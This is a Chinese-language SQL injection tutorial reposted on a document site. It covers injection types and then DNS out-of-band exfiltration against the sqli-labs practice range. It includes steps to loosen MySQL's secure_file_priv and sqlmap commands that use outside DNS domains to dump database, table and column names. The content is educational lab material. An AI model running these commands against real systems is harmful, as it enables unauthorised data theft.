栏目分类:
子分类:
返回
文库吧用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
文库吧 > IT > 软件开发 > 后端开发 > Java

DNS外带数据结合sqlmap

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DNS外带数据结合sqlmap

什么是SQL注入 SQL注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

# Web程序三层架构

在上图中,用户访问实验楼主页进行了如下过程:

在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。

业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。

数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。

Sql 注入漏洞详解

Sql 注入产生原因及威胁:

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点

猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

绕过认证,列如绕过验证登录网站后台。

注入可以借助数据库的存储过程进行提权等操作

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

界面层(User Interface layer)
业务逻辑层(Business Logic Layer)

数据访问层(Data access layer)。

区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

表示层。

业务逻辑层(又称领域层)

数据访问层(又称存储层)

常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。

参数类型分类

  1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

     如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
    
  2. 字符型:字符型注入正好相反

     当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹
    

    例如数字型语句:select * from table where id =3

    则字符型如下:select * from table where name=’admin’

注入手法分类

@ UNIOn query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)

为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习mysql语法,不然理解不了sql语句

联合查询(union注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化 ,

查看secure_file_priv的状态

当secure_file_priv为空,就可以读取磁盘的目录,当secure_file_priv为C:,就可以读取C盘的文件secure_file_priv为null,load_file就不能加载文件

修改mysql配置文件

找到mysql文件目录下的my.ini文件,添加secure_file_priv=""到配置文件中,然后重启MySQL服务,再打开mysql查看
这里我们发现secure_file_priv 变成了空值

然后我们开始设置DNS服务器

我们再本机中设置DNS和
然后我们用kali来ping主机


SQLMap使用外带dns注入

取出数据库
输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" --dbs
获取到数据库表
输入sqlmap -u "http://172.16.10.130:8080/sqli-labs-master/Less-8?id=1" --technique=T --dns-domain "nanhang.top" -D "security" --tables

获取到数据库列

sqlmap -u "http://172.16.10.130:8080/sqli-labs-master/Less-8?id=1" --technique=T --dns-domain "nanhang.top" -D "security" -t "users" --columns

转载请注明:文章转载自 www.wk8.com.cn
本文地址:https://www.wk8.com.cn/it/1040793.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 wk8.com.cn

ICP备案号:晋ICP备2021003244-6号